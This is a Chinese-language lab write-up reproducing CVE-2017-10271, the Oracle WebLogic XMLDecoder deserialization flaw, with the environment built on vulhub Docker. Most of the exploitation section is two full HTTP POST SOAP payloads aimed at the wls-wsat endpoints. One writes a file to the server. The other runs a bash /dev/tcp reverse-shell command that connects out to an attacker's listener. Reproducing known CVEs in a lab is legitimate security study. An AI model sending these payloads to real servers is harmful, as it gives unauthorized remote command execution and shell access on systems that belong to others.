CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

0x00 漏洞简介:

Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

0x01 影响版本:

OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0

 0x02 漏洞复现

搭建环境

service docker start     //启用docker环境
cd vulhub/weblogic/CVE-2017-10271      //进入所复现漏洞镜像目录下
docker-compose up -d    //启用镜像

 访问http://ip:7001 出现以下也面时,代表搭建成功

 触发漏洞的url

/wls-wsat/CoordinatorPortType11
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

进行初步判断,访问http://ip:7001/wls-wsat/CoordinatorPortType11,出现以下图片可能存在漏洞

bp抓包，构造POST包进行测试，写入文件

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ip:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

 访问http//ip:7001/wls-wsat/test.txt,发现可以写入,说明存在漏洞(漏洞验证成功)

 下一步，构造反弹shell的命令,进行反弹shell

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: IP:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/7089(这里是监听的端口) 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹shell成功

python自动化监测脚本:https://github.com/ysrc/xunfeng/blob/master/vulscan/vuldb/weblogic_CVE_2017_10271.py